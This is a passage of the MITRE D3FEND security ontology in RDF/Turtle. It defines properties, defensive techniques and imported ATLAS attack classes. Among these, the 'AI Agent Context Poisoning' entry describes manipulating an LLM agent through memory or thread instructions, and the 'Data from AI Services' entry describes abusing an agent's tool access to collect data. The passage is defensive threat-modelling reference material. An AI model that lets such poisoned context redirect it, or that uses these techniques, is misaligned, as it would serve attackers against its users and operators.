    rdfs:subClassOf d3f:WindowsRegistryKeyEvent .

d3f:WirelessRouter a owl:Class ;
    rdfs:label "Wireless Router" ;
    d3f:definition "A wireless router is a device that performs the functions of a router and also includes the functions of a wireless access point. It is used to provide access to the Internet or a private computer network. Depending on the manufacturer and model, it can function in a wired local area network, in a wireless-only LAN, or in a mixed wired and wireless network." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Wireless_router> ;
    rdfs:subClassOf d3f:Router,
        d3f:WirelessAccessPoint .

d3f:accessed-by a owl:ObjectProperty ;
    rdfs:label "accessed-by" ;
    d3f:definition "x accessed-by y: The entity or resource x is accessed by entity y." ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:may-be-accessed-by ;
    owl:inverseOf d3f:accesses .

d3f:addressed-by a owl:ObjectProperty ;
    rdfs:label "addressed-by" ;
    d3f:definition "x addressed-by y: Relates a resource x (e.g., network host, peripheral device, disk sector, a memory cell or other logical or physical entity) to a discrete address y in an address space that points to it." ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:addresses .

d3f:attached-to a owl:ObjectProperty ;
    rdfs:label "attached-to" ;
    d3f:definition "x attached-to y: A subject x is joined in close association to an object y." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/01980375-s> ;
    rdfs:seeAlso d3f:connects ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:attack-kb-annotation a owl:AnnotationProperty ;
    rdfs:label "attack-kb-annotation" ;
    d3f:definition "x attack-kb-annotation y: The offensive technique x has the kb annotation of y." ;
    rdfs:domain d3f:OffensiveTechnique ;
    rdfs:subPropertyOf d3f:d3fend-annotation .

d3f:causes a owl:ObjectProperty ;
    rdfs:label "causes" ;
    d3f:definition "x causes y: The event or action x brings about event or action y as a consequence." ;
    rdfs:isDefinedBy <https://www.commoncoreontologies.org/ont00001803> ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:connected-to a owl:ObjectProperty ;
    rdfs:label "connected-to" ;
    d3f:definition "x connected-to y: The subject x shares a direct physical or logical link with object y such that communication is possible between them without intermediate routing." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:control-name a owl:DatatypeProperty ;
    rdfs:label "control-name" ;
    d3f:definition "The control (or control enhancement) name." ;
    rdfs:subPropertyOf d3f:d3fend-external-control-data-property .

d3f:copy-of a owl:ObjectProperty ;
    rdfs:label "copy-of" ;
    d3f:definition "x copy-of y: The subject x is a duplicate of the object y." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:created-by a owl:ObjectProperty ;
    rdfs:label "created-by" ;
    d3f:definition "x created-by y: The entity x is brought into existence, developed, or generated by entity y." ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:may-be-created-by ;
    owl:inverseOf d3f:creates .

d3f:cwe-kb-annotation a owl:AnnotationProperty ;
    rdfs:label "cwe-kb-annotation" ;
    rdfs:subPropertyOf d3f:d3fend-annotation .

d3f:d3fend-catalog-annotation-property a owl:AnnotationProperty ;
    rdfs:label "d3fend-catalog-annotation-property" ;
    rdfs:subPropertyOf d3f:d3fend-annotation ;
    skos:altLabel "d3fend-vendor-registry-annotation-property" .

d3f:d3fend-comment a owl:DatatypeProperty ;
    rdfs:label "d3fend-comment" ;
    d3f:definition "x d3fend-comment y: The entity x has an D3FEND team written a public note about entity y." ;
    rdfs:subPropertyOf d3f:d3fend-kb-data-property .

d3f:d3fend-general-object-property a owl:ObjectProperty ;
    rdfs:label "d3fend-general-object-property" ;
    rdfs:subPropertyOf d3f:d3fend-object-property .

d3f:d3fend-id a owl:DatatypeProperty ;
    rdfs:label "d3fend-id" ;
    d3f:definition "Unique identifier for a D3FEND technique. D3-[Acronym]." ;
    rdfs:subPropertyOf d3f:d3fend-kb-data-property .

d3f:deceives-with a owl:ObjectProperty ;
    rdfs:label "deceives-with" ;
    d3f:definition "x deceives-with y: The entity x misleads or manipulates another entity using y as a tool, method, or mechanism to create false perceptions or understanding." ;
    rdfs:subPropertyOf d3f:d3fend-tactical-verb-property .

d3f:dependent a owl:ObjectProperty ;
    rdfs:label "dependent" ;
    d3f:definition "x dependent y: A dependent y is an entity that requires the fulfillment of the requirements specified in dependency x." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00729216-a> ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:employs a owl:ObjectProperty ;
    rdfs:label "employs" ;
    d3f:definition "x employs y: The entity x makes purposeful use of entity y to perform a function." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:end a owl:ObjectProperty ;
    rdfs:label "end" ;
    rdfs:subPropertyOf d3f:d3fend-process-object-property .

d3f:enforces a owl:ObjectProperty ;
    rdfs:label "enforces" ;
    d3f:definition "x enforces y: Technique x forces entity y to be compliant with a law, rule, or obligation." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:erases a owl:ObjectProperty ;
    rdfs:label "erases" ;
    d3f:definition "x erases y: A technique x removes recorded data from storage device y creating space for new data." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:extends a owl:ObjectProperty ;
    rdfs:label "extends" ;
    d3f:definition "x extends y: The entity x extend the scope or range or area of entity y, especially in the sense of widen the range of applications." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00541315-v> ;
    rdfs:subPropertyOf d3f:modifies .

d3f:fork a owl:ObjectProperty ;
    rdfs:label "fork" ;
    rdfs:subPropertyOf d3f:d3fend-process-object-property .

d3f:has-account a owl:ObjectProperty ;
    rdfs:label "has-account" ;
    d3f:definition "x has-account y: The subject x has ownership or possession of some account y." ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/02209474-v> ;
    rdfs:subPropertyOf d3f:owns .

d3f:has-agent a owl:ObjectProperty ;
    rdfs:label "has-agent" ;
    d3f:definition "x has-agent y: The event x occurs because agent y actively carries it out." ;
    rdfs:subPropertyOf d3f:has-participant .

d3f:has-link a owl:DatatypeProperty ;
    rdfs:label "has-link" ;
    d3f:definition "x has-link y: The d3fend analysis x has the link y." ;
    rdfs:range xsd:anyURI ;
    rdfs:subPropertyOf d3f:d3fend-kb-data-property .

d3f:has-location a owl:ObjectProperty ;
    rdfs:label "has-location" ;
    d3f:definition "x has-location y: The entity x is situated in a particular spot or position y." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/02133811-s> ;
    rdfs:seeAlso <http://www.obofoundry.org/ro/#OBO_REL:located_in> ;
    rdfs:subPropertyOf d3f:associated-with ;
    skos:altLabel "located_in" .

d3f:has-mediator a owl:ObjectProperty ;
    rdfs:label "has-mediator" ;
    d3f:definition "x has-mediator y: The entity x relies on or is facilitated by entity y." ;
    rdfs:subPropertyOf d3f:has-participant .

d3f:has-operating-mode a owl:ObjectProperty ;
    rdfs:label "has-operating-mode" ;
    d3f:definition "x has-operating-mode y: The entity x is currently operating in or has the potential to be in operating mode y." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:has-recipient a owl:ObjectProperty ;
    rdfs:label "has-recipient" ;
    d3f:definition "x has_recipient y: An agent y is the intended recipient and decoder of the information contained in communication x." ;
    rdfs:isDefinedBy <http://www.ontologyrepository.com/CommonCoreOntologies/has_recipient> ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/09651094-n>,
        <http://wordnet-rdf.princeton.edu/id/09788768-n> ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:has-sender a owl:ObjectProperty ;
    rdfs:label "has-sender" ;
    d3f:definition "x has_sender y: An agent y is the sender and encoder of the information contained in communication x." ;
    rdfs:isDefinedBy <http://www.ontologyrepository.com/CommonCoreOntologies/has_sender> ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/10598214-n> ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:hides a owl:ObjectProperty ;
    rdfs:label "hides" ;
    d3f:definition "x hides y: A technique or operation x conceals the digital artifact y." ;
    rdfs:range d3f:DigitalArtifact ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:implemented-by a owl:ObjectProperty ;
    rdfs:label "implemented-by" ;
    d3f:definition "x implemented-by y: The entity x is realized or brought into operation by entity y." ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:implements .

d3f:initiates a owl:ObjectProperty ;
    rdfs:label "initiates" ;
    d3f:definition "x initiates y: The entity or action x starts or triggers entity or function y, bringing it into action." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:input-of a owl:ObjectProperty ;
    rdfs:label "input-of" ;
    d3f:definition "x input-of y: An artifact x is input of an event y iff x participates at the start of y, provides the material or information required for y to begin, and during y either x's state is altered or the information content it bears is realized." ;
    rdfs:domain d3f:Artifact ;
    rdfs:range d3f:Event ;
    rdfs:seeAlso <https://www.commoncoreontologies.org/ont00001841> ;
    rdfs:subPropertyOf d3f:participates-in .

d3f:installs a owl:ObjectProperty ;
    rdfs:label "installs" ;
    d3f:definition "x installs y: An entity x sets up a digital artifact y for subsequent use.  For example, an installation program can install application software." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/01572394-v> ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:instructed-by a owl:ObjectProperty ;
    rdfs:label "instructed-by" ;
    d3f:definition "x instructed-by y: A subject x takes machine instructions from object y." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:kb-reference a owl:ObjectProperty ;
    rdfs:label "kb-reference" ;
    rdfs:subPropertyOf d3f:d3fend-kb-object-property ;
    owl:inverseOf d3f:kb-reference-of ;
    skos:altLabel "has-technique-reference" .

d3f:kb-reference-title a owl:DatatypeProperty ;
    rdfs:label "kb-reference-title" ;
    d3f:definition "x kb-reference-title y: The d3fend knowledge base reference x has the reference title string y." ;
    rdfs:range xsd:string ;
    rdfs:subPropertyOf d3f:d3fend-kb-data-property .

d3f:may-be-contained-by a owl:ObjectProperty,
        owl:TransitiveProperty ;
    rdfs:label "may-be-contained-by" ;
    rdfs:subPropertyOf d3f:may-be-associated-with ;
    owl:inverseOf d3f:may-contain .

d3f:may-be-created-by a owl:ObjectProperty ;
    rdfs:label "may-be-created-by" ;
    rdfs:subPropertyOf d3f:may-be-associated-with ;
    owl:inverseOf d3f:may-create .

d3f:may-be-invoked-by a owl:ObjectProperty ;
    rdfs:label "may-be-invoked-by" ;
    rdfs:subPropertyOf d3f:may-be-associated-with ;
    owl:inverseOf d3f:may-invoke .

d3f:may-be-modified-by a owl:ObjectProperty ;
    rdfs:label "may-be-modified-by" ;
    rdfs:subPropertyOf d3f:may-be-associated-with ;
    owl:inverseOf d3f:may-modify .

d3f:may-deceive a owl:ObjectProperty ;
    rdfs:label "may-deceive" ;
    d3f:pref-label "may deceive" ;
    rdfs:subPropertyOf d3f:may-counter-attack .

d3f:may-detect a owl:ObjectProperty ;
    rdfs:label "may-detect" ;
    d3f:pref-label "may detect" ;
    rdfs:subPropertyOf d3f:may-counter-attack .

d3f:may-disable a owl:ObjectProperty ;
    rdfs:label "may-disable" ;
    rdfs:subPropertyOf d3f:may-evict .

d3f:may-evaluate a owl:ObjectProperty ;
    rdfs:label "may-evaluate" ;
    rdfs:subPropertyOf d3f:may-be-associated-with .

d3f:may-harden a owl:ObjectProperty ;
    rdfs:label "may-harden" ;
    d3f:pref-label "may harden" ;
    rdfs:subPropertyOf d3f:may-counter-attack .

d3f:may-isolate a owl:ObjectProperty ;
    rdfs:label "may-isolate" ;
    d3f:pref-label "may isolate" ;
    rdfs:subPropertyOf d3f:may-counter-attack .

d3f:name a owl:DatatypeProperty ;
    rdfs:label "name"@en ;
    rdfs:subPropertyOf d3f:d3fend-catalog-data-property .

d3f:neutralizes a owl:ObjectProperty ;
    rdfs:label "neutralizes" ;
    d3f:definition "x neutralizes y: The technique x makes the execution of actions of y ineffective by preventing or counterbalancing the effect of y." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/00471015-v> ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:hardens .

d3f:next a owl:ObjectProperty ;
    rdfs:label "next" ;
    rdfs:subPropertyOf d3f:d3fend-process-object-property .

d3f:output-of a owl:ObjectProperty ;
    rdfs:label "output-of" ;
    d3f:definition "x output-of y: An artifact x is output of an event y iff x must be present when y concludes, was absent in the same state when x began, and y counts as complete only when x is available at its end." ;
    rdfs:domain d3f:Artifact ;
    rdfs:range d3f:Event ;
    rdfs:seeAlso <https://www.commoncoreontologies.org/ont00001816> ;
    rdfs:subPropertyOf d3f:participates-in .

d3f:owns a owl:ObjectProperty ;
    rdfs:label "owns" ;
    d3f:definition "x owns y: The subject x has ownership or possession of some object y." ;
    rdfs:isDefinedBy <http://wordnet-rdf.princeton.edu/id/02209474-v> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Ownership> ;
    rdfs:subPropertyOf d3f:associated-with ;
    skos:altLabel "possesses" .

d3f:powered-by a owl:ObjectProperty ;
    rdfs:label "powered-by" ;
    d3f:definition "x powered-by y: x obtains its essential energy or force from y to perform its function or remain active." ;
    rdfs:subPropertyOf d3f:depends-on ;
    owl:inverseOf d3f:powers .

d3f:powers a owl:ObjectProperty ;
    rdfs:label "powers" ;
    d3f:definition "x powers y: x furnishes y with the energy or force required for y's functionality or operation." ;
    rdfs:subPropertyOf d3f:has-dependent .

d3f:process-ancestor a owl:ObjectProperty,
        owl:TransitiveProperty ;
    rdfs:label "process-ancestor" ;
    d3f:definition "x process-ancestor y: The process y is a process ancestor of process x, indicating one or more process creation events were conducted were started at process y and subsequently created process x." ;
    rdfs:subPropertyOf d3f:process-property .

d3f:process-command-line-arguments a owl:DatatypeProperty ;
    rdfs:label "process-command-line-arguments" ;
    d3f:definition "x process-command-line-arguments y: The process x has the process command line arguments data y." ;
    rdfs:subPropertyOf d3f:process-data-property .

d3f:process-environmental-variables a owl:DatatypeProperty ;
    rdfs:label "process-environmental-variables" ;
    d3f:definition "x process-environment-variables y: The process x has the process environmental variables data y." ;
    rdfs:subPropertyOf d3f:process-data-property ;
    skos:altLabel "process-environmental-variable" .

d3f:process-identifier a owl:DatatypeProperty ;
    rdfs:label "process-identifier" ;
    d3f:definition "x process-identifier y: The process x has the process identifier y." ;
    rdfs:subPropertyOf d3f:process-data-property .

d3f:process-image-path a owl:ObjectProperty ;
    rdfs:label "process-image-path" ;
    d3f:definition "x process-image-path y: The filepath y is the process image path for the process x, indicating the path to the resource from which the process's image was loaded." ;
    rdfs:subPropertyOf d3f:process-property ;
    skos:altLabel "processImagePath" .

d3f:process-security-context a owl:DatatypeProperty ;
    rdfs:label "process-security-context" ;
    d3f:definition "x process-security-context y: The process x has the process security context data y." ;
    rdfs:domain d3f:Process ;
    rdfs:subPropertyOf d3f:process-data-property .

d3f:process-user a owl:ObjectProperty ;
    rdfs:label "process-user" ;
    d3f:definition "x process-user y: The process x has been executed by the user y." ;
    rdfs:subPropertyOf d3f:process-property ;
    skos:altLabel "processUser" .

d3f:published a owl:DatatypeProperty ;
    rdfs:label "date published"@en ;
    d3f:definition "Date of publication of the resource." ;
    rdfs:range xsd:dateTime ;
    rdfs:subPropertyOf d3f:date .

d3f:receives a owl:ObjectProperty ;
    rdfs:label "receives" ;
    d3f:definition "x receives y: The subject x acquires object y from a communication medium and transfers y into its local context for storage or processing." ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:recorded-in a owl:ObjectProperty ;
    rdfs:label "recorded-in" ;
    d3f:definition "x recorded-in y: The event x is documented, logged, or otherwise preserved within the digital artifact y, which stores or encodes relevant data about the event." ;
    rdfs:subPropertyOf d3f:associated-with ;
    owl:inverseOf d3f:records .

d3f:signed-by a owl:ObjectProperty ;
    rdfs:label "signed-by" ;
    d3f:definition "x signed-by y: The digital artifact x includes a signature generated by the entity y, certifying the authenticity and integrity of x. This relationship indicates that x has undergone a validation process by y, using cryptographic measures to ensure that x is trustworthy and unaltered since the signing by y." ;
    rdfs:subPropertyOf d3f:validated-by ;
    owl:inverseOf d3f:signs .

d3f:signs a owl:ObjectProperty ;
    rdfs:label "signs" ;
    d3f:definition "x signs y: The entity x applies a digital signature to the digital artifact y, thereby asserting its validity, integrity, and authenticity. Typically, this involves cryptographic techniques to securely bind the signature to y, ensuring that y's contents have not been altered and are authentic as endorsed by x." ;
    rdfs:subPropertyOf d3f:validates .

d3f:start a owl:ObjectProperty ;
    rdfs:label "start" ;
    rdfs:subPropertyOf d3f:d3fend-process-object-property .

d3f:step-1 a owl:NamedIndividual ;
    rdfs:label "Step 1 - Copy Token" ;
    d3f:invokes d3f:CopyToken ;
    d3f:next d3f:step-2 .

d3f:step-2 a owl:NamedIndividual ;
    rdfs:label "Step 2 - Impersonate User" ;
    d3f:invokes d3f:ImpersonateUser .

d3f:unmounts a owl:ObjectProperty ;
    rdfs:label "unmounts" ;
    d3f:definition "x unmounts y: An operation x removes the access via computer system's file system the availability of files and directories on a storage artifact y.  Unmounts reverse or undo prior mount operations." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Mount_(computing)> ;
    rdfs:subPropertyOf d3f:associated-with .

d3f:updates a owl:ObjectProperty ;
    rdfs:label "updates" ;
    d3f:definition "x updates y: The technique x updates the software for component y." ;
    rdfs:subPropertyOf d3f:hardens,
        d3f:modifies .

d3f:use-limits a owl:ObjectProperty ;
    rdfs:label "use-limits" ;
    d3f:definition "x use-limits y: An entity x specifies a designated number of uses beyond which some entity y cannot function or must be terminated." ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/13781154-n> ;
    rdfs:subPropertyOf d3f:limits .

d3f:validated-by a owl:ObjectProperty ;
    rdfs:label "validated-by" ;
    d3f:definition "x validated-by y: The digital artifact x has its authenticity and correctness confirmed or verified by the technique, operation, or agent y." ;
    rdfs:subPropertyOf d3f:associated-with,
        d3f:hardens .

d3f:version a owl:DatatypeProperty,
        owl:FunctionalProperty ;
    rdfs:label "version"@en ;
    d3f:definition "x version y: The product or service x has the version y." ;
    rdfs:range [ a rdfs:Datatype ;
            owl:unionOf ( xsd:integer xsd:string ) ] ;
    rdfs:subPropertyOf d3f:d3fend-catalog-data-property,
        d3f:d3fend-external-control-data-property .

d3f:windows-registry-key a owl:DatatypeProperty ;
    rdfs:label "windows-registry-key" ;
    d3f:definition "x value y: The key-value pair x has the key y." ;
    rdfs:subPropertyOf d3f:windows-registry-data-property ;
    skos:altLabel "key" .

d3f:windows-registry-value a owl:DatatypeProperty ;
    rdfs:label "windows-registry-value" ;
    d3f:definition "x value y: The key-value pair x has the data value y." ;
    rdfs:subPropertyOf d3f:windows-registry-data-property ;
    skos:altLabel "value" .

d3f:writes a owl:ObjectProperty ;
    rdfs:label "writes" ;
    d3f:definition "x writes y: The subject x takes the action of writing to a digital artifact y to store data and placing it into persistent memory for later reference." ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/01000931-v> ;
    rdfs:subPropertyOf d3f:accesses .

rdfs:label a owl:AnnotationProperty .

owl:versionInfo rdfs:subPropertyOf d3f:d3fend-annotation .

d3f:AML.T0002 a owl:Class ;
    rdfs:label "Acquire Public AI Artifacts - ATLAS" ;
    d3f:attack-id "AML.T0002" ;
    d3f:definition """Adversaries may search public sources, including cloud storage, public-facing services, and software or data repositories, to identify AI artifacts.
These AI artifacts may include the software stack used to train and deploy models, training and testing data, model configurations and parameters.
An adversary will be particularly interested in artifacts hosted by or associated with the victim organization as they may represent what that organization uses in a production environment.
Adversaries may identify artifact repositories via other resources associated with the victim organization (e.g. [Search Victim-Owned Websites](/techniques/AML.T0003) or [Search Open Technical Databases](/techniques/AML.T0000)).
These AI artifacts often provide adversaries with details of the AI task and approach.

AI artifacts can aid in an adversary's ability to [Create Proxy AI Model](/techniques/AML.T0005).
If these artifacts include pieces of the actual model in production, they can be used to directly [Craft Adversarial Data](/techniques/AML.T0043).
Acquiring some artifacts requires registration (providing user details such email/name), AWS keys, or written requests, and may require the adversary to [Establish Accounts](/techniques/AML.T0021).

Artifacts might be hosted on victim-controlled infrastructure, providing the victim with some information on who has accessed that data.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0002> ;
    rdfs:subClassOf d3f:ATLASResourceDevelopmentTechnique ;
    skos:prefLabel "Acquire Public AI Artifacts" .

d3f:AML.T0011 a owl:Class ;
    rdfs:label "User Execution - ATLAS" ;
    d3f:attack-id "AML.T0011" ;
    d3f:definition """An adversary may rely upon specific actions by a user in order to gain execution.
Users may inadvertently execute unsafe code introduced via [AI Supply Chain Compromise](/techniques/AML.T0010).
Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0011> ;
    rdfs:subClassOf d3f:ATLASExecutionTechnique ;
    skos:prefLabel "User Execution" .

d3f:AML.T0080 a owl:Class ;
    rdfs:label "AI Agent Context Poisoning - ATLAS" ;
    d3f:attack-id "AML.T0080" ;
    d3f:definition """Adversaries may attempt to manipulate the context used by an AI agent's large language model (LLM) to influence the responses it generates or actions it takes. This allows an adversary to persistently change the behavior of the target agent and further their goals.

Context poisoning can be accomplished by prompting the an LLM to add instructions or preferences to memory (See [Memory](/techniques/AML.T0080.000)) or by simply prompting an LLM that uses prior messages in a thread as part of its context (See [Thread](/techniques/AML.T0080.001)).""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0080> ;
    rdfs:subClassOf d3f:ATLASPersistenceTechnique ;
    skos:prefLabel "AI Agent Context Poisoning" .

d3f:AML.T0085 a owl:Class ;
    rdfs:label "Data from AI Services - ATLAS" ;
    d3f:attack-id "AML.T0085" ;
    d3f:definition """Adversaries may use their access to a victim organization's AI-enabled services to collect proprietary or otherwise sensitive information. As organizations adopt generative AI in centralized services for accessing an organization's data, such as with chat agents which can access retrieval augmented generation (RAG) databases and other data sources via tools, they become increasingly valuable targets for adversaries.

AI agents may be configured to have access to tools and data sources that are not directly accessible by users. Adversaries may abuse this to collect data that a regular user wouldn't be able to access directly.""" ;
    rdfs:seeAlso <https://atlas.mitre.org/techniques/AML.T0085> ;
    rdfs:subClassOf d3f:ATLASCollectionTechnique ;
    skos:prefLabel "Data from AI Services" .

d3f:ATLASPrivilegeEscalationTechnique a owl:Class ;
    rdfs:label "Privilege Escalation Technique - ATLAS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:AML.TA0012 ],
        d3f:ATLASTechnique ;
    skos:prefLabel "Privilege Escalation Technique" .

d3f:ATLASThing a owl:Class ;
    rdfs:label "ATLAS Thing" ;
    rdfs:subClassOf d3f:ExternalThreatModelThing .

d3f:ATTACKICSPrivilegeEscalationTechnique a owl:Class ;
    rdfs:label "Privilege Escalation Technique - ATTACK ICS" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:enables ;
            owl:someValuesFrom d3f:TA0111 ],
        d3f:ATTACKICSTechnique ;
    skos:prefLabel "Privilege Escalation Technique" .

d3f:ATTACKICSThing a owl:Class ;
    rdfs:label "ATTACK ICS Thing" ;
    rdfs:subClassOf d3f:ATTACKThing .

d3f:ATTACKMobileThing a owl:Class ;
    rdfs:label "ATTACK Mobile Thing" ;
    rdfs:subClassOf d3f:ATTACKThing .

d3f:Access a owl:Class ;
    rdfs:label "Access" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:Resource ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-mediator ;
            owl:someValuesFrom d3f:AccessMediator ],
        d3f:Action .

d3f:AccessControlAdministrationEvent a owl:Class ;
    rdfs:label "Access Control Administration Event" ;
    d3f:definition "An event concerning the administrative actions of setting, modifying, or abolishing permissions, configuring access control settings, and managing user access rights to ensure alignment with access control policies." ;
    rdfs:subClassOf d3f:AccessControlEvent ;
    skos:altLabel "Permission Administration Event",
        "Permission Provisioning Event" .

d3f:AccessControlEvent a owl:Class ;
    rdfs:label "Access Control Event" ;
    d3f:definition "An event that captures the implementation or evaluation of access control measures, including the application of rules and policies to govern the accessibility of resources by agents within a digital system." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:AccessControlConfiguration ],
        d3f:AuthorizationEvent .

d3f:AccessMediationEvent a owl:Class ;
    rdfs:label "Access Mediation Event" ;
    d3f:definition "An event involving the intermediary control mechanism that evaluates access requests and enforces access control decisions, ensuring that subjects' resource interactions comply with the established access policies." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:AccessMediator ],
        d3f:AccessControlEvent ;
    skos:altLabel "Access Enforcement Event" .

d3f:AccessMediator a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Access Mediator" ;
    d3f:definition "An Access Mediator enforces access control policies to regulate interactions with a resource." ;
    d3f:implements d3f:AccessControlConfiguration ;
    d3f:mediates-access-to d3f:Resource ;
    d3f:used-by d3f:Agent ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:mediates-access-to ;
            owl:someValuesFrom d3f:Resource ],
        [ a owl:Restriction ;
            owl:onProperty d3f:used-by ;
            owl:someValuesFrom d3f:Agent ],
        [ a owl:Restriction ;
            owl:onProperty d3f:implements ;
            owl:someValuesFrom d3f:AccessControlConfiguration ],
        d3f:DigitalInformationBearer .

d3f:AccessModeling a d3f:AccessModeling,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Access Modeling" ;
    d3f:d3fend-id "D3-AM" ;
    d3f:definition "Access modeling captures and records the access permissions granted to identities (e.g., administrators, users, groups, systems) and optionally includes details on how these identities are stored, managed, and shared across systems." ;
    d3f:kb-reference d3f:Reference-RFC7642SystemForCrossDomainIdentityManagementDefinitionsOverviewConceptsAndRequirements ;
    d3f:maps d3f:AccessControlConfiguration,
        d3f:DigitalIdentity,
        d3f:UserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:maps ;
            owl:someValuesFrom d3f:UserAccount ],
        [ a owl:Restriction ;
            owl:onProperty d3f:maps ;
            owl:someValuesFrom d3f:DigitalIdentity ],
        [ a owl:Restriction ;
            owl:onProperty d3f:maps ;
            owl:someValuesFrom d3f:AccessControlConfiguration ],
        d3f:OperationalActivityMapping .

d3f:AccessProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Access Process" ;
    d3f:accesses d3f:Process ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:Process ],
        d3f:SystemCall .

d3f:ActiveCertificateAnalysis a d3f:ActiveCertificateAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Active Certificate Analysis" ;
    d3f:created "2020-08-05T00:00:00"^^xsd:dateTime ;
    d3f:d3fend-id "D3-ACA" ;
    d3f:definition "Actively collecting PKI certificates by connecting to the server and downloading its server certificates for analysis." ;
    d3f:kb-article """## How it works
Analysis of server certificates using active methods to detect if certificates have been misconfigured or spoofed by using elements of the certificate, certificate authorities and signatures.

### Certificate validity analysis
This can be accomplished by verifying the digital signature on certificate.

### Certificate path analysis
The client's browser can perform path verification to ensure that the server's certificate contains a valid trust anchor.

### Certificate configuration analysis
Some browsers can be configured to implement the key-usage extensions contained certificates. This can help to prevent a certificate from being misused.

### Certificate revocation status analysis
Using either Certificate Revocation Lists (CRLs) or Online Certificate Status Protocol (OCSP) to determine the revocation status. OCSP Stapling, binding the status with the certificate, helps to mitigate potential delay in status verifications.

## Considerations
* Management of the PKI across the enterprise typically requires automation to maintain scalability and flexibility
* If the certificate authority, issuing the certificate, is compromised then all of the certificates issued by the CA are suspect
* There may be delays associated with updates to certificates
* Revoked certificates give the appearance of valid certificates until they are published to a trusted revocation service (OCSP or CRL)
* The revocation service (OCSP or CRL) may be down during our connection and a browser will need to make a decision will need to be made about trusting the connection""" ;
    d3f:kb-reference d3f:Reference-SecuringWebTransactions ;
    rdfs:subClassOf d3f:CertificateAnalysis .

d3f:ActiveLogicalLinkMapping a d3f:ActiveLogicalLinkMapping,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Active Logical Link Mapping" ;
    d3f:d3fend-id "D3-ALLM" ;
    d3f:definition "Active logical link mapping sends and receives network traffic as a means to map the whole data link layer, where the links represent logical data flows rather than physical connection" ;
    d3f:kb-article """## How it works

Active logical link mapping establishes awareness of logical links in the network by sending data over the network to gather information about logical connections in the network.

Typically this will be achieved through network telemetry coordinated for network management and monitoring and will use a link layer discovery protocol such as LLDP and the information gathered and aggregated a higher levels using an application protocol such as SNMP.  The information may be polled by network management softare or configured once and then pushed from network sensors (or agents.)

Another means of establishing network connectivity is by means of sendingn traffic through the use of a tool such as traceroute, to determine the logical paths through the network architecture.

## Considerations

* Best practice is to encrypte network monitoring data and require authentication for queries or admin/management functions.
* Push notifications reduce bandwidth necessary to capture and maintain information if reliable transport is used.
* Special consideration should be made before using of active scanning in OT networks and OT-safe options chosen where available.""" ;
    d3f:kb-reference d3f:Reference-IdentificationOfTracerouteNodesAndAssociatedDevices,
        d3f:Reference-SNMPNetworkAutoDiscovery ;
    d3f:may-query d3f:NetworkAgent ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-query ;
            owl:someValuesFrom d3f:NetworkAgent ],
        d3f:LogicalLinkMapping .

d3f:ActivePhysicalLinkMapping a d3f:ActivePhysicalLinkMapping,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Active Physical Link Mapping" ;
    d3f:d3fend-id "D3-APLM" ;
    d3f:definition "Active physical link mapping sends and receives network traffic as a means to map the physical layer." ;
    d3f:kb-reference d3f:Reference-IdentificationOfTracerouteNodesAndAssociatedDevices,
        d3f:Reference-UsingSpanningTreeProtocolSTPToEnhanceLayer2NetworkTopologyMaps ;
